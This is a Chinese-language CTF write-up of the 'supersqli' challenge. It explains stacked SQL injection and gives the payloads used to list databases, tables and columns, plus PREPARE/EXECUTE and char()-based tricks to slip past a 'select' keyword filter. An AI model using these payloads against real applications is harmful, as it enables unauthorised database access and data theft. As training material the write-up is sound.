[CTF/网络安全] 攻防世界 supersqli 解题详析
题目描述:随便注
堆叠注入
堆叠注入(stacked injection)是一种SQL注入攻击的技术手段,它会在同一行代码中多次使用已知的SQL注入漏洞,从而达到绕过安全措施、执行恶意代码和窃取数据库信息等目的。
堆叠注入攻击利用了SQL语句的连贯性,通过在查询语句中嵌入多个SELECT语句或在UPDATE语句中嵌入多个SET赋值的情况来强行插入额外的恶意代码段。攻击者可以结合已有的SQL注入漏洞,将原本应该被禁止的字符串作为输入参数,进而在SQL语句中构造出额外的恶意代码段,以此实现对数据库进行读写操作或者绕过登录认证等操作。
举例如下:
以下是一条常见的SQL查询语句:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
如果程序没有对用户名和密码进行过滤,攻击者可以通过向用户名或密码参数中输入特定的语句构造SQL注入漏洞。接着,攻击者可以利用堆叠注入攻击,将额外的SQL语句插入到原有查询语句中,例如:
username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';
在上述语句中,攻击者将额外的代码段插入到用户名参数中,然后使用分号
断开原有语句,再插入新的SQL语句。由于分号 ;
在SQL中表示多条命令的分隔符,因此这个新的语句不会被认为是语法错误。最终生成的查询语句变成:
SELECT * FROM users WHERE username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';
由于注释符#
表示注释掉其后面的内容,因此程序会执行两次SQL语句,并忽略掉密码的条件,最终返回敏感数据的行数,从而达到了窃取数据库敏感信息的目的。
姿势
判断注入类型
Payload:1'
回显如下:
Payload:1' and '1'='1
回显如下:
说明该注入类型为单引号字符型注入
后续步骤同参考链接,但均不可注入,由此考虑堆叠注入。
查库名
Payload:0';show databases;#
查当前数据库表名
Payload:0';show tables;#
查words表
Payload:0';desc words;#
或
0';show columns from `words`;#
回显如下
查191表
Payload:
0';show columns from `1919810931114514`;#
回显flag字段
查字段
先判断注入点
判断注入点
1' order by 2# 回显正常
1' order by 3# 回显error
则注入点个数为2个
构造查字段POC
0’;select 1,2,group_concat(flag) from 1919810931114514;#
回显如下,select被过滤
使用 MYSQL 的预处理语句,构造POC如下:
1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#
PREPARE test from concat('s','elect','* from 1919810931114514')
表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514'
,并将结果赋值给 test 参数。
EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514
表中的所有数据,并将查询结果输出。
回显如下:
此外,可通过char函数将ASCII值转字符实现select绕过
char函数:
SELECT CHAR(72, 101, 108, 108, 111);
以上 SQL 查询语句将返回字符串Hello
因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。
POC如下:
1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#
115,101,108,101,99,116对应select
总结
该题结合堆叠注入
、Mysql预处理语句
考察sql注入相关姿势,读者可躬身实践。